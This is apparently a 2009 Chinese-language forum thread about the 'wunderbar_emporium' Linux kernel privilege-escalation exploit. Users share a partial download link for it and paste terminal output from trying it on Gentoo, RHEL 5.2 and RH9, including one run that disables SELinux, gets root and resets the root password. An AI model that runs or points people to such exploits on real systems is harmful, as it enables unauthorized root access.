黑客再爆Linux内核高危漏洞，一个命令可以攻击所有Linux系统，请尽快修复系统

Godbach

./w*这个命令是什么东东？

包子

http://www.securityfocus.com/dat ... rbar_emporium-3.tgz

老臧

看着就是好东西，包子

谢谢分享

测试一下先

[ 本帖最后由 老臧 于 2009-8-17 09:13 编辑 ]

Godbach

多谢包子。

platinum

好像没有传说的那么邪乎啊！

1. 
   
2. apache@platinum ~/wunderbar_emporium
   
3. $ ./w*
   
4. [+] MAPPED ZERO PAGE!
   
5. [+] Resolved audit_enabled to 0xc0690704
   
6. unable to find a vulnerable domain, sorry
   
7. apache@platinum ~/wunderbar_emporium
   
8. $ uname -a
   
9. Linux platinum 2.6.23-gentoo-r9 #1 SMP PREEMPT Fri Feb 13 09:59:54 CST 2009 i686 Intel(R) Core(TM)2 Duo CPU E6550 @ 2.33GHz GenuineIntel GNU/Linux
   
10. apache@platinum ~/wunderbar_emporium
    
11. $
    

复制代码

只爱睡觉

selinux如果是disabled是无法运行的,
如果是enforcing的话是可以正常运行的。

[ 本帖最后由 只爱睡觉 于 2009-8-17 15:37 编辑 ]

Godbach

白金兄换了张合影作为头像啊，帅哥靓女，好羡慕啊。。。。

Godbach

我这里测试了一下RHEL 5.2的虚拟机，普通用户登陆：

[xx@localhost wunderbar_emporium]$ ./wunderbar_emporium.sh
[+] MAPPED ZERO PAGE!
[+] Resolved security_ops to 0xc13838e0
[+] Resolved sel_read_enforce to 0xc10b8817
[+] got ring0!
[+] detected 2.6 style 4k stacks
sh: mplayer: command not found
[+] Disabled security of : SELinux
[+] Got root!
sh-3.2# passwd
Changing password for user root.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.

直接可以修改root密码了。。。

Godbach

RH 9.0虚拟机上测试的结果：

[xx@localhost linux_exploit]$ ./wunderbar_emporium.sh
[+] MAPPED ZERO PAGE!
unable to find a vulnerable domain, sorry
[xx@localhost linux_exploit]$

platinum

RH9 应该没有 SELINUX
我的内核也没启用
成功的那个内核是什么的？

btw: 呵呵，早就想换了，之前 CU 好像有问题没换成